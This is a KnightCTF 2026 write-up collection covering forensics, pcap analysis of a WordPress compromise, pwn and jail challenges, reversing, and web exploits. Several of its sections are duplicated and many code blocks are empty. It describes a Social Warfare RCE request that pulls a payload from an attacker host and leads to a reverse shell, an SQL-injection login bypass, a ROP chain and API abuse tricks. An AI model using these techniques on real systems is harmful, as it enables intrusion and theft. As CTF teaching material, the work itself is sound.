chess-knightKnightCTF 2026

Here are writeups for all the challenges (except for 3 easy networking ones that I didn't save). Posting this almost 2 weeks late because there was a writeup pause then I forgot. Auto-generated so excuse the inconsistencies.

digital_forensic_boot2root

Event Horizon

Description

Category: Digital Forensic / Boot2Root Points: 375 Solves: 26

Attacker used to crash the service and a "lifeline" embedded in the systems help menu to phone home to their command server. What is the username of the attacker and what is the connected support URL token value?

Flag Format: KCTF{Username_something_here}

Solution

1. Finding the Attacker's Username in Event Logs

The challenge title "Event Horizon" hints at checking Windows Event Viewer logs. Searching the Application.evtx event log revealed a hidden event among thousands of fake login events:

<Event>
  <System>
    <Provider Name="SystemUserAudit"/>
    <EventID>1001</EventID>
    <Channel>Application</Channel>
  </System>
  <EventData>
    <Data>user3 logged in and changed the username with robert</Data>
  </EventData>
</Event>

The PowerShell Operational log (Microsoft-Windows-PowerShell%4Operational.evtx) revealed the attacker's script that injected 1000 fake event logs to hide the real username:

Attacker Username: robert

2. Identifying the C2 URL and Token

The "lifeline" was found in the OEMInformation registry key (help menu configuration):

Found in Microsoft\Windows\CurrentVersion\OEMInformation\SupportURL:

Token Value: Establishes_Persistence

Flag

Key Analysis

  1. Challenge Title Hint: "Event Horizon" pointed to Windows Event Viewer

  2. Event Log Hiding Technique: Attacker injected 1000+ fake SystemUserAudit events (Event ID 1001) with normal-looking "logged in successfully" messages

  3. Hidden Message: One event contained the real username: "user3 logged in and changed the username with robert"

  4. C2 Lifeline: The SupportURL registry key (visible in Windows System Properties help) contained the command server URL

Commands Used

Forensic Evidence Summary

Artifact
Location
Finding

Attacker Username

Application.evtx (Event ID 1001)

robert

Event Injection Script

PowerShell Operational.evtx

Script creating 1000 fake logs

C2 URL

SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation\SupportURL

http://update-window-service.com/auth?token=_Establishes_Persistence

Token Value

SupportURL parameter

Establishes_Persistence

Local Network

Description

Category: Digital Forensic / Boot2Root Points: TBD Solves: TBD

Your task is to investigate the workstation's local DNS mappings and recover forgotten wireless connection profiles. The attacker tampered with local DNS mappings and stored hidden Wi-Fi profiles, essentially tricking the machine into routing traffic to the attacker's personal "home" environment.

Flag Format: KCTF{domain.tld_wifipassword}

Solution

1. Analyzing Local DNS Mappings (hosts file)

The Windows hosts file is used for local DNS resolution. Examining it reveals a suspicious entry added by the attacker:

Found entry:

This leetspeak domain (54ck3r-r0b3rt = "sacker-robert") points to localhost, allowing the attacker to establish a local C2 channel.

Domain Value: 54ck3r-r0b3rt.local

2. Recovering Hidden WiFi Profile from NTFS Alternate Data Stream

The challenge mentions "forgotten wireless connection profiles." These were hidden using NTFS Alternate Data Streams (ADS) - a technique to hide data within a file's metadata.

Found ADS attribute: user.wifi

Decoded WLAN Profile XML:

WiFi Password: Il0vesomeone1337

Flag

Key Analysis

  1. Local DNS Manipulation: Attacker added 54ck3r-r0b3rt.local to hosts file pointing to 127.0.0.1

  2. NTFS ADS Hiding Technique: WiFi credentials hidden in Alternate Data Stream of ReadMe.txt

  3. Base64 Encoding: WLAN profile was base64-encoded within the ADS

  4. Plaintext Password Storage: WiFi password stored unprotected in XML profile

Commands Used

Forensic Evidence Summary

Artifact
Location
Finding

Malicious DNS Entry

Windows/System32/drivers/etc/hosts

127.0.0.1 54ck3r-r0b3rt.local

Hidden WiFi Profile

ProgramData/ReadMe.txt:user.wifi (ADS)

Base64-encoded WLAN XML

WiFi SSID

WLAN Profile

Intern-Guest-Wifi

WiFi Password

<keyMaterial> element

Il0vesomeone1337

Echoes of 127

Description

Category: Digital Forensic / Boot2Root

Your task is to investigate the workstation's local DNS mappings and recover forgotten wireless connection profiles. The attacker tampered with local DNS mappings and stored hidden Wi-Fi profiles, essentially tricking the machine into routing traffic to the attacker's personal "home" environment.

Flag Format: KCTF{siam.com_wifipassword}

Solution

1. Analyzing Local DNS Mappings (hosts file)

The Windows hosts file is used for local DNS resolution. Examining it reveals a suspicious entry added by the attacker:

Found entry:

This leetspeak domain (54ck3r-r0b3rt = "sacker-robert") points to localhost, allowing the attacker to establish a local C2 channel.

Domain Value: 54ck3r-r0b3rt.local

2. Recovering Hidden WiFi Profile from NTFS Alternate Data Stream

The challenge mentions "forgotten wireless connection profiles." These were hidden using NTFS Alternate Data Streams (ADS) - a technique to hide data within a file's metadata.

Found ADS attribute: user.wifi

Decoded WLAN Profile XML:

WiFi Password: Il0vesomeone1337

Flag

Key Analysis

  1. Local DNS Manipulation: Attacker added 54ck3r-r0b3rt.local to hosts file pointing to 127.0.0.1

  2. NTFS ADS Hiding Technique: WiFi credentials hidden in Alternate Data Stream of ReadMe.txt

  3. Base64 Encoding: WLAN profile was base64-encoded within the ADS

  4. Plaintext Password Storage: WiFi password stored unprotected in XML profile

Commands Used

Forensic Evidence Summary

Artifact
Location
Finding

Malicious DNS Entry

Windows/System32/drivers/etc/hosts

127.0.0.1 54ck3r-r0b3rt.local

Hidden WiFi Profile

ProgramData/ReadMe.txt:user.wifi (ADS)

Base64-encoded WLAN XML

WiFi SSID

WLAN Profile

Intern-Guest-Wifi

WiFi Password

<keyMaterial> element

Il0vesomeone1337

Phone Location

Description

Category: Digital Forensic / Boot2Root Points: 475 Solves: 6

Findout the attacker phone number and his last location when he used his MACOS.

Flag Format: KCTF{+88015121220632_123.123.123.123}

Status: SOLVED βœ“

Flag: KCTF{+88013374041337_172.16.0.1}

Investigation Summary

Target Information

  • Phone Number Format: Bangladesh country code +880 followed by mobile number

  • Location Format: Appears to be an IP address (123.123.123.123 format)

  • Key Hint: "MACOS" - unclear if this refers to Apple MacOS or something else

Artifacts Searched

1. Windows Event Logs

  • Application.evtx - Found the hidden "robert" username event (from Event Horizon challenge)

  • PowerShell Operational.evtx - Found scripts that generated fake events, no phone/location data

  • All other evtx files - Searched for phone patterns (+880, 0151) and location data

  • Result: No phone numbers or location data found

2. Registry Hives

  • SOFTWARE - Searched for phone, MACOS, MacBook, coordinates

  • SYSTEM - Similar search

  • All NTUSER.DAT files - Searched each user's registry

  • Result: No relevant data found

3. User Directories

Examined all user accounts:

  • Admin2, Admin3, User1, User2, User3, User4, User5, vboxuser

Key Findings:

  • User3 (robert) - The attacker's account

  • User4 - Contains suspicious contact file

4. Contacts Investigation

File Found: /Users/User4/Contacts/Dr. Yunus.contact

  • Note says "h1dden_c0ntr4ct5" (leetspeak for "hidden_contracts")

  • Checked for ADS on this file - none found

Related Document: /Users/User4/Documents/Work_Doc_4_13717.docx

  • Content: "Confidential Note: I tried to contacts with admin. I have list of contacts please see my contacts message."

  • Points to the contacts folder

5. Recycle Bin

Location: $Recycle.Bin/S-1-5-21-3352790620-1126021755-2065935930-1006/

Files Found:

  • $R_InternSecret.txt - Contains hex: 4B4354467B726563307633725F55733372345F

  • Decoded: KCTF{rec0v3r_Us3r4_ (partial flag for different challenge)

  • $I0IN63I.docx - Metadata for deleted file from User4/Documents

6. NTFS Alternate Data Streams (ADS)

Found:

  • ProgramData/ReadMe.txt:user.wifi - Contains WiFi profile (for Local Network challenge)

  • No phone/location ADS found on any files

7. Browser Data

  • Edge History - Checked all users, found Telegram bot link in User2

  • Edge Autofill - All tables empty

  • Edge Web Data - No phone numbers stored

8. Image EXIF Data

  • Checked all JPG files in user Pictures folders

  • No GPS coordinates or phone data in EXIF

9. MacOS-Specific Artifacts

  • Searched for .DS_Store files - none found

  • Searched for ._* resource fork files - none found

  • Searched for .plist files - none found

  • No evidence of MacOS-synced data

10. SSH/Remote Connection

  • Checked ProgramData/ssh/ - empty

  • No known_hosts or SSH keys found

  • No remote connection logs with IP addresses

Search Patterns Used

Tools Used

  • python-evtx - Event log parsing

  • sqlite3 - Browser database analysis

  • getfattr - NTFS ADS detection

  • strings - Binary file analysis

  • exiftool - Image metadata extraction

  • regipy - Registry analysis (attempted)

Potential Next Steps

  1. Deeper Binary Analysis - Use specialized forensic tools to examine binary files

  2. Registry Deep Dive - Use full registry parsing with regipy

  3. Browser Cache - Examine Edge cache files for stored form data

  4. Windows Address Book - Check WAB database files

  5. Encrypted Stores - Check for encrypted credential stores

  6. "MACOS" Interpretation - May be an acronym or code word, not Apple MacOS

Challenge
Flag

Void Echo

KCTF{ksacademy3321}

Event Horizon

KCTF{robert_Establishes_Persistence}

Echoes of 127

(Solved separately)

Local Network

KCTF{54ck3r-r0b3rt.local_Il0vesomeone1337}

Solution

The key was to follow the C2 channel (Telegram bot) found in User2's browser history.

Step 1: Contact the Telegram Bot

  • Bot: @comrade404_bot (found in User2's Edge browser history)

Step 2: Complete Verification

  • TIER 1: Which user account for online search? β†’ B) User2

  • TIER 2: Which user account name was changed? β†’ C) User3

Step 3: Get Credentials

After verification, the bot provided:

  • Website: http://104.237.130.169:5000

  • Username: mehacker

  • Password: flaghere

Step 4: Login to Dashboard

  • Found phone number displayed: +88013374041337

  • Found HTML comment hint: <!-- SECRET: Try accessing /api/history for login history data -->

Step 5: Check Login History

Accessed /api/history which returned login records with OS types:

The last macOS login was on 2024-12-11 with IP 172.16.0.1.

Key Insight

The "MACOS" in the challenge description referred to the operating system field in the login history - we needed to find the IP address from the most recent macOS login, not Apple-specific forensic artifacts.

Discarded Directory

Challenge Description

The intern claimed they cleaned up their workspace before leaving but their digital hygiene is questionable. Forensic analysis suggests a critical flag fragment was tossed into the system's waste disposal. Rest of them hint with them. Note: complete flag with }. Follow the flag format.

Recycle Bin Analysis

Based on description.md hint about "waste disposal" and "discarded directory", the Recycle Bin was analyzed:

User4's Recycle Bin ($Recycle.Bin/S-1-5-21-...-1006/)

Found deleted files:

  1. $R_InternSecret.txt - Contains hex: 4B4354467B726563307633725F55733372345F

    • Decoded: KCTF{rec0v3r_Us3r4_

  2. Dr. Yunus.contact - Windows Contact file

    • Notes field contains: h1dden_c0ntr4ct5

** Flag ** KCTF{rec0v3r_Us3r4_h1dden_c0ntr4ct5}

Instructor Account Compromised

Challenge Description

Points: 490 Author: pmsiam0

What is the admin2 password?

Flag Format: KCTF{password}

Key Context from Main Description (01_void_echo)

  • Admin2 was working with User5 on website development

  • Admin2 made a mistake - their password/footprint was leaked in User5's account

  • This is how the attacker escalated privileges from user to admin

Solution

Step 1: Analyze User5's Activity History

Examined User5's ActivitiesCache.db to understand their recent actions:

Key Findings:

  1. User5 edited set.html on Desktop for 428 seconds using Notepad

  2. User5 opened Edge's Local Storage file 000003.log with Notepad

  3. User5 performed a Copy operation from the leveldb file (clipboard activity recorded)

Step 2: Examine Edge Local Storage

The clipboard activity indicated User5 copied something from Edge's Local Storage. Extracted strings from the leveldb log file:

Step 3: Find the Leaked Credentials

In the leveldb file, found credentials stored under the file:// origin (local HTML file storage):

Explanation

Admin2 (with role "instructor") was collaborating with User5 on local web development. They opened a local HTML file (set.html) in Edge browser. The web application stored Admin2's session token in the browser's Local Storage under the file:// origin.

This is the "password leak" mentioned in the challenge description - Admin2's credentials persisted in User5's browser storage from their shared web development work.

The SessionToken T4r3Qhas5gf is Admin2's password.

Flag

Forensic Evidence Summary

Artifact
Location
Finding

Activity Timeline

User5/AppData/Local/ConnectedDevicesPlatform/L.User5/ActivitiesCache.db

User5 edited set.html, opened leveldb log, copied content

Leaked Credentials

User5/AppData/Local/Microsoft/Edge/User Data/Default/Local Storage/leveldb/000003.log

SessionToken: T4r3Qhas5gf, UserRole: instructor

File Origin

file:// in Local Storage

Indicates local HTML file was opened in browser

Tools Used

  • sqlite3 - ActivitiesCache.db analysis

  • strings - Extract readable content from leveldb files

Key Takeaways

  1. Browser Local Storage persists across sessions - credentials stored by web apps remain in leveldb files

  2. Windows Activity Timeline records clipboard operations with unique IDs

  3. Local file:// origins in browsers store data separately from web origins

  4. Collaboration on local web development can inadvertently leak credentials through browser storage

Illegal Access to Admin3

Challenge Description

Points: 490 Author: pmsiam0

Admin3 has super secret information. Can you see it?

Note: Wrap the flag in KCTF{} and replace space with underscore (_).

Flag Format: KCTF{S0mething_here}

Solution

Step 1: Investigate Admin3's Profile

Started by exploring Admin3's user directory for any interesting files:

Key Finding: Found BGInfo.zip and extracted BGInfo folder in Downloads.

BGInfo is a Sysinternals tool that displays system information on the desktop wallpaper - a potential hiding spot for "super secret information."

Step 2: Check BGInfo Registry Configuration

BGInfo stores its configuration in the Windows Registry. Used regipy to analyze Admin3's NTUSER.DAT:

Step 3: Extract the Secret from RTF Field

Found the BGInfo configuration contained an RTF field with custom text to display on the desktop:

The secret text embedded in the RTF is: ult1m4t3 f1nal ch4ll

This is leetspeak for "ultimate final chall(enge)" - the "super secret information" that Admin3 had configured to display on their desktop background.

Registry Path

Flag

Forensic Evidence Summary

Artifact
Location
Finding

BGInfo Download

Admin3/Downloads/BGInfo.zip

Sysinternals BGInfo tool downloaded

BGInfo EULA Accepted

NTUSER.DAT\Software\Sysinternals\BGInfo\EulaAccepted

Value: 1 (tool was used)

Secret Information

NTUSER.DAT\Software\Winternals\BGInfo\RTF

Contains ult1m4t3 f1nal ch4ll

Wallpaper Config

NTUSER.DAT\Software\Winternals\BGInfo\Wallpaper

C:\Windows\web\wallpaper\Windows\img0.jpg

Tools Used

  • regipy - Windows Registry hive analysis

  • Python scripting for registry parsing

Key Takeaways

  1. BGInfo stores configuration in the registry under both Sysinternals and Winternals keys

  2. RTF fields in registry can contain hidden text that would be rendered on desktop

  3. Desktop wallpaper overlays are a creative way to hide information in plain sight

  4. Sysinternals tools leave forensic traces in the registry even after the tool is closed

BGInfo Overview

BGInfo (Background Info) is a legitimate Sysinternals utility that:

  • Displays system information on the desktop wallpaper

  • Stores configuration in HKCU\Software\Winternals\BGInfo

  • Can display custom text via RTF formatting

  • Is commonly used by IT administrators to show computer name, IP address, etc.

In this case, Admin3 configured BGInfo to display secret information (ult1m4t3 f1nal ch4ll) on their desktop background, which was recoverable through registry forensics.


networking

Exploitation

Description

The attacker appears to have identified a web application running on our server. We need to determine what application was being targeted. Find the version and username associated with the application in the capture.

Flag Format: KCTF{version_username}

Solution

The challenge provides a pcap file (pcap2.pcapng) containing network traffic of an attack against a WordPress installation.

Step 1: Identify the attack traffic

After extracting the pcap, HTTP traffic to 192.168.1.102 revealed WordPress-related requests:

Step 2: Find the WordPress version

Exported HTTP objects and searched for the generator meta tag:

Output:

The targeted WordPress version is 6.9.

Step 3: Find the username

The attacker used WPScan to enumerate users via the WP REST API:

Following the TCP stream revealed the JSON response:

The username enumerated was kadmin_user.

This was confirmed by examining login attempts:

Output:

Flag:


Vulnerability Exploitation

Description

Our web application was compromised through a vulnerable plugin. The attacker exploited a known vulnerability to gain initial access. Identify the vulnerable plugin and its version that was exploited.

Flag Format: KCTF{plugin_name_version}

Solution

Using the same pcap file, we need to identify the vulnerable WordPress plugin.

Step 1: Search for plugins in HTTP traffic

This revealed WPScan probing multiple plugin paths including /wordpress/wp-content/plugins/social-warfare/readme.txt.

Step 2: Identify the vulnerable plugin

Examining the exported HTTP objects for plugin references:

Output:

The HTML comments and asset URLs confirm Social Warfare v3.5.2 is installed:

Step 3: Verify with readme.txt

The plugin's readme.txt confirms:

Vulnerability Context:

Social Warfare versions < 3.5.3 are vulnerable to CVE-2019-9978, an unauthenticated Remote Code Execution (RCE) vulnerability that allows attackers to execute arbitrary PHP code via a crafted payload.

Flag:

Post-Exploitation

Description

After exploiting a vulnerability, the attacker established a persistent connection back to their command and control server. The task is to analyze the network traffic capture to identify:

  1. The HTTP port used for the initial payload delivery

  2. The port used for the reverse shell connection

Flag format: KCTF{httpPort_revshellPort}

Solution

  1. Extract and analyze the pcap file

Extracted pcap3.pcapng from the provided zip archive.

  1. Identify the reverse shell connection

First, examined TCP conversations to find suspicious connections:

Found a long-duration connection from 192.168.1.102:39582 to 192.168.1.104:9576 lasting ~300 seconds - characteristic of a reverse shell.

  1. Confirm the reverse shell

Extracted the TCP stream data:

Output confirmed a bash reverse shell:

Reverse shell port: 9576

  1. Find the HTTP payload delivery port

Analyzed HTTP requests around the time the reverse shell was established:

Found the attack sequence at ~882 seconds:

  • 882.295920s: Attacker sends exploit to WordPress: GET /wordpress//wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.1.104:8767/payload.txt

  • 882.308398s: WordPress server fetches payload from attacker on port 8767: GET /payload.txt?swp_debug=get_user_options

  1. Verify the payload

Extracted the payload delivered on port 8767:

Payload content:

This is a Social Warfare WordPress plugin RCE exploit (CVE-2019-9978) delivering a PHP reverse shell that connects back to port 9576.

HTTP payload delivery port: 8767

Flag


Database Credentials Theft

Description

The attacker's ultimate goal was to access the database. During the post-exploitation phase, they managed to extract database credentials from the compromised system. Find the database username and password that were exposed.

Flag format: KCTF{username_password}

Solution

Using the same pcap file, I analyzed the reverse shell traffic to identify what commands the attacker executed and what data was exfiltrated.

  1. Extract full reverse shell session

  1. Analyze attacker commands

The attacker performed the following actions in the reverse shell:

  • Listed files in /var/www/html/wordpress/wp-admin/

  • Attempted cat wp-config.php (failed - wrong directory)

  • Changed directory to /var/www/html/wordpress/

  • Ran cat wp-config-sample.php (template file with placeholder values)

  • Ran cat wp-config.php (actual configuration with real credentials)

  1. Extracted database credentials from wp-config.php

The wp-config.php file contained the actual database configuration:

The attacker successfully exfiltrated:

  • Username: wpuser

  • Password: wp@user123

Flag

Reconnaissance

Description

A mid-sized e-learn company "Knight Blog" detected suspicious network activity. We were given a packet capture (pcap1.pcapng) and asked to determine how many ports were found to be open on the target system during the attacker's scanning activity.

Flag Format: KCTF{number}

Solution

  1. Extract and identify the pcap file

    The capture contains 141k packets over 445 seconds.

  2. Identify the scanner and target

    The main traffic is between 192.168.1.104 (attacker/scanner) and 192.168.1.102 (target).

  3. Confirm full port scan

    Result: 65535 - All ports were scanned (full TCP SYN scan).

  4. Find open ports (SYN-ACK responses)

    Result:

    • Port 22 (SSH)

    • Port 80 (HTTP)

  5. Verify with closed ports (RST-ACK responses)

    Result: 65533 closed ports + 2 open ports = 65535 total (confirmed)

The analysis shows that the attacker performed a full TCP SYN scan against 192.168.1.102. The target responded with SYN-ACK packets (indicating open ports) only for ports 22 and 80, while all other ports returned RST-ACK (closed).

Flag: KCTF{2}


Gateway Identification

Description

During the initial reconnaissance, the attacker gathered information about the network infrastructure. We need to identify the vendor of the network device acting as the default gateway in the capture.

Flag Format: KCTF{vendor_name}

Solution

  1. Identify traffic going to external IPs

    Traffic destined for external IP addresses must be sent to the gateway's MAC address at layer 2.

    Result: All outbound traffic is sent to MAC 88:bd:09:38:d7:a0

  2. Confirm gateway IP via ARP

    Output shows:

    This confirms the gateway IP is 192.168.1.1 with MAC 88:bd:09:38:d7:a0

  3. Lookup MAC OUI for vendor

    Result: Netis Technology Co., Ltd.

The default gateway at 192.168.1.1 has MAC address 88:bd:09:38:d7:a0, which belongs to Netis Technology.

Flag: KCTF{Netis}


pwn_jail

Knight Squad Academy

Description

PWN & Jail challenge (100 pts) - A simple enrollment kiosk binary with a buffer overflow vulnerability.

Solution

1. Binary Analysis

The binary ksa_kiosk has the following protections:

  • Full RELRO

  • No Stack Canary

  • NX Enabled

  • No PIE (fixed addresses at 0x400000)

2. Reverse Engineering

Disassembling the binary revealed:

  • Flag function at 0x4013ac: Checks if the argument (rdi) equals the magic value 0x1337c0decafebeef. If true, it opens ./flag.txt and prints its contents.

  • Registration function at 0x401514:

    • Reads cadet name (0x20 bytes) into buffer at rbp-0x30

    • Reads enrollment notes (0xf0 = 240 bytes) into buffer at rbp-0x70

    • Vulnerability: The notes buffer at rbp-0x70 only has 0x70 bytes before the base pointer, but reads 0xf0 bytes, causing a stack buffer overflow.

  • ROP gadget at 0x40150b: pop rdi; ret

3. Exploit Development

Calculate offset to return address:

  • Notes buffer starts at rbp - 0x70

  • Return address is at rbp + 8

  • Offset = 0x70 + 8 = 0x78 = 120 bytes

ROP chain:

  1. Padding (120 bytes)

  2. pop rdi; ret gadget (0x40150b)

  3. Magic value (0x1337c0decafebeef)

  4. Flag function address (0x4013ac)

4. Exploit Code

Flag: KCTF{_We3Lc0ME_TO_Knight_Squad_Academy_}

Knight Squad Academy Jail

Description

A Python jail challenge with the hint "I don't like words but I love chars." The service runs on nc 66.228.49.41 1337.

Solution

Connecting to the service reveals a restricted Python expression evaluator that blocks most names, functions, and AST node types.

Exploration phase:

Through testing, I discovered the jail allows:

  • Integer and boolean arithmetic

  • String literals (including hex escapes like '\x41')

  • Comparisons and bitwise operations

But blocks:

  • Lists, tuples, dicts, subscripts, attributes

  • Most variable names and functions (print, open, chr, ord, etc.)

Finding the Oracle:

Systematic testing of single-character function names revealed three available functions:

Testing revealed:

  • L() returns 28 (the flag length)

  • S('test') returns 'Nope.' (string comparison oracle)

  • Q(0, 75) returns 0 (position/ASCII code oracle, returns 0 on match, -1 otherwise)

Extracting the flag:

Since Q(i, x) checks if the character at position i equals ASCII code x, I brute-forced each position:

The flag spells out "no words char" with underscores between each letter, matching the challenge hint.

Flag: KCTF{_n_o_w_o_r_d_s_c_h_a_r}

Knight Squad Academy Jail 2

Challenge Info

  • Category: Pwn/Jail

  • Server: nc 66.228.49.41 41567

  • Hint: "only a knight can help you"

Analysis

Initial Exploration

Connecting to the server shows a Python jail prompt:

Unlike typical jails, almost every input returns error. The key insight was that the server has delayed output buffering - responses only appear after sending multiple lines.

Finding the Oracle

Through systematic testing, I discovered:

  1. Function call syntax works: X() returns "X() doesn't exist" for most letters

  2. knight() is special: Returns error instead of "doesn't exist"

  3. knight(string) is the oracle: Takes a string argument

Testing string lengths revealed:

  • Strings < 30 chars: "too short"

  • Strings > 30 chars: "too long"

  • Strings = 30 chars: Returns "X Y" format

Oracle Semantics

The oracle knight(guess) returns "X Y" where:

  • X = Position of first mismatch (1-indexed)

  • Y = Unknown secondary value (possibly distance metric)

Example responses:

Flag Format

  • Total length: 30 characters

  • Format: KCTF{ (5) + content (24) + } (1)

Solution Strategy

Character-by-character brute force:

  1. Start with known prefix KCTF{

  2. For each position 6-29:

    • Try each character in charset

    • If mismatch_position > current_position, that character is correct

    • Append to flag and continue

Discovered Flag Characters

Through manual testing:

  • Position 6: _

  • Position 7: a

  • Position 8: N

  • Position 9+: (continue with solver)

Solver

Technical Notes

  1. Server buffering: The server doesn't flush output immediately. Need to send multiple commands and wait ~2 seconds before receiving.

  2. Rate limiting: Server may disconnect if too many requests are sent at once. The solver uses batches of 20 characters with delays.

  3. String formatting: Use single quotes inside knight() to avoid escaping issues: knight('KCTF{...}')

Flag

Message: "aNOtHER_JAIL_Y0U_bRoKE" = "another jail you broke"


reverse_engineering

E4sy P3asy

Description

Reverse the provided ELF to recover the correct KCTF{...} flag. The binary validates input using MD5 hashes and a salted per‑character check.

Solution

  1. Unzip and inspect the binary, then locate the relevant logic:

  • objdump -s -j .rodata shows many 32‑char hex strings (MD5 digests).

  • r2 -A reveals the main logic at 0x1140 and a helper at 0x1660 that computes MD5 and formats it as hex.

  • The program:

    • Strips newline.

    • Rejects non‑KCTF{ formats (also has a GoogleCTF{ decoy path).

    • Requires length 0x17 (23) for the flag body.

    • Uses a salt string built on the stack: KnightCTF_2026_s@lt.

    • For each index i and character c in the flag body, it computes md5( "KnightCTF_2026_s@lt" + str(i) + c ) and compares to a table of MD5 hex strings stored in .rodata and referenced by .data.rel.ro.

  1. Extract the MD5 table from .data.rel.ro and brute‑force each character by matching MD5 hashes. The following script reproduces the check and recovers the 23‑char body:

Output:

  1. Final flag: KCTF{_L0TS_oF_bRuTE_foRCE_:P}

ReM3

Description

Reverse a stripped 64-bit ELF binary with multiple decoy flags to find the real flag. The binary validates input through a custom byte transformation algorithm.

Solution

  1. Initial Analysis: The binary is a 500MB stripped ELF (padded with zeros). Running strings reveals several decoy flags:

    • KCTF{fake_flag_for_reversers}

    • KCTF{hash_passes_but_fake!!!}

    • KCTF{str1ngs_lie_dont_trust!}

  2. Disassembly of main logic at 0x10c0:

    • Reads 29-character input

    • Check 1: Direct memcmp with KCTF{str1ngs_lie_dont_trust!} β†’ decoy

    • Check 2: FNV-1a hash comparison (0xe76fa3daba5d6f3a) β†’ decoy

    • Check 3: Custom transformation + comparison with target bytes β†’ SUCCESS

    • Check 4: Same transformation + different target β†’ another decoy

  3. Transformation function at 0x14c0: A reversible byte cipher using:

    • Two 64-bit constants: R10 = 0x2f910ed35ca71942, R9 = 0x6a124de908b17733

    • Per-byte operations: XOR, ROL, ROR with position-dependent values

    • State variables (edi, esi, r8d) updated each iteration

  4. Key transformation steps for each byte at index rdx:

  5. Extract target bytes from .rodata for the SUCCESS path (at 0x2160, 0x2150, 0x2140):

  6. Reverse the transformation by inverting each operation in reverse order:

    • ROL to reverse ROR

    • XOR to reverse XOR

    • Subtract to reverse add

    • ROR to reverse ROL

    • XOR to recover original byte

  7. Solution script:

  1. Flag: KCTF{w3Lc0m3_T0_tHE_r3_w0rLD}

KrackM3

Description

A 64-bit stripped ELF binary with multiple validation paths. The challenge requires finding a 32-character flag in format KCTF{...} that passes a specific validation path (the "real flag" path) while failing others (decoy paths).

Solution

  1. Initial Analysis: The binary is a 500MB file (padded with zeros). Key strings include:

    • KCTF{ - flag prefix

    • Success! Real flag accepted. - real flag message

    • Success! ...but you won't get points for this flag :P - decoy message

  2. Format Check at 0x401890: Requires exactly 32 characters with format KCTF{...26 chars...}:

    • Positions 0-3: KCTF

    • Position 4: {

    • Position 31: }

  3. Validation Logic at 0x401590: The function implements a complex stateful cipher that:

    • Generates S-box and inverse S-box (256-byte lookup tables)

    • Generates a random table using xorshift64*

    • For each input character, computes a transformed value using XOR, rotate, and S-box operations

    • Compares against four different target tables (paths 1-4)

  4. Key Insight - Multiple Paths: The function checks 4 paths simultaneously:

    • Path 1 (sp+7): Real flag path - targets from 0x402280/402290/4022a0

    • Paths 2-4 (sp+4,5,6): Decoy paths with slightly different targets

    For SUCCESS:

    • Path 1 must fully match (all XOR results = 0)

    • Paths 2-4 must have at least one mismatch each (to avoid decoy)

  5. Solution Approach: Using GDB to trace the XOR operation at 0x401797 which computes r13 ^ target for path 1:

    • If XOR = 0, the position matches

    • The first 5 characters KCTF{ are fixed and pass path 1

    • Need to brute-force positions 5-30 to find chars where XOR = 0

  6. Solver Script:

  1. Flag: KCTF{_R3_iS_FuNR1gHT?_EnjOy_r3_}

rem3_again

Description

A 64-bit PIE ELF binary that validates a 38-character flag in format KCTF{...}. The binary implements multiple validation paths with decoy checks that lead to fake "success" messages, while only one path leads to the real flag acceptance.

Solution

  1. Initial Analysis: The binary contains key strings:

    • Success! Real flag accepted. - real flag message

    • Success! ...but you won't get points for this flag :P - decoy message

  2. Validation Flow: The binary checks the input against multiple target byte arrays:

    • chk_first(x_g) - decoy check (must NOT match)

    • chk_first(x_f) - decoy check (must NOT match)

    • chk_first(x_d) - decoy check (must NOT match)

    • eq(input, t(x_r)) - real check (must match)

    For the real success path:

    • All three decoy checks must return 0 (no match)

    • The final eq comparison must return 1 (match)

  3. Key Functions:

    • p() at 0x13e0: Generates S-box and inverse S-box (256-byte lookup tables)

    • cat3() at 0x1540: Concatenates three byte arrays into 38-byte target

    • t() at 0x1570: Transforms target bytes using inverse S-box

    • eq() at 0x16b0: Compares 38 bytes for equality

  4. Solution Approach: The transformation t() converts the target constants x_r0, x_r1, x_r2 into the expected input. By breaking at address 0x1213 (just before the final eq call), we can read the transformed target directly from memory.

  5. Solver Script:

  1. Flag: KCTF{aN0Th3r_r3_I_h0PE_y0U_eNj0YED_IT}


webapi

Admin Panel

Description

Login and get the flag.

URL: http://50.116.19.213:3000/ Category: WEB/API Points: 100

Solution

Vulnerability Discovery

The login form at /login accepts username and password via POST. Testing revealed:

  1. Single quotes (') are blocked with "Not injectable" response

  2. The backslash character (\) is NOT filtered

Using a backslash at the end of the username escapes the closing quote in the SQL query, allowing injection through the password field.

SQL Injection Technique

The original query is likely:

With input username=\ and password= OR 1=1 #, the query becomes:

The \' escapes the quote, making \' AND password= a literal string. The OR 1=1 bypasses authentication, and # comments out the rest.

Exploitation

Testing UNION injection revealed the query returns 2 columns. The first column is displayed as the username on the dashboard.

Final Payload:

This injects:

The UNION query retrieves the flag from the flag table's value column and displays it as the username.

Exploit Code

Or via curl:

Flag

Knight Shop Again

Description

A modern e-commerce platform for medieval equipment. The challenge involves a web shop built with Express.js backend and React frontend. Users start with a balance of 50, but the "Legendary Excalibur" item costs 199.99 - making it unaffordable through normal means.

Target: http://23.239.26.112:8087/

Solution

  1. Reconnaissance: Analyzed the React frontend JavaScript to identify API endpoints:

    • /api/auth/register - Register new user

    • /api/auth/login - Login

    • /api/cart - Add items to cart (POST), view cart (GET)

    • /api/checkout - Complete purchase

  2. Vulnerability Discovery: The cart API endpoint accepts a quantity parameter from the client without proper validation. When adding items to cart:

  3. Exploitation: The server accepts negative quantities. When quantity is -1, the total becomes:

    This negative total is subtracted from the balance, effectively adding money to the account.

  4. Exploit Steps:

  5. Result: The checkout succeeds with a negative total of -199.99, increasing the balance to 249.99 and revealing the flag.

Flag

Vulnerability Type

Improper Input Validation - The server fails to validate that the quantity parameter is a positive integer, allowing negative values that result in price manipulation.

KnightCloud

Description

A SaaS platform with premium features locked behind a paywall. The goal is to access the premium analytics dashboard without paying.

Solution

The vulnerability is an exposed internal API endpoint that allows arbitrary user tier upgrades without authentication.

Step 1: Analyze the JavaScript bundle

Fetching the main JavaScript file (/assets/index-DH6mLR_s.js) reveals internal API configuration:

Additionally, a global __KC_INTERNAL__ object exposes an example showing how the endpoint works:

Step 2: Register an account

Response contains the user's UID and JWT token:

Step 3: Exploit the internal migration endpoint

The internal endpoint /api/internal/v1/migrate/user-tier is accessible without authentication and allows upgrading any user to premium:

Response:

Step 4: Access premium analytics

Response contains the flag:

Flag: KCTF{Pr1v1l3g3_3sc4l4t10n_1s_fun}

Vulnerability Summary

  • Type: Broken Access Control / Privilege Escalation

  • Issue: Internal API endpoint exposed without authentication

  • Impact: Any user can upgrade their account tier to access premium features

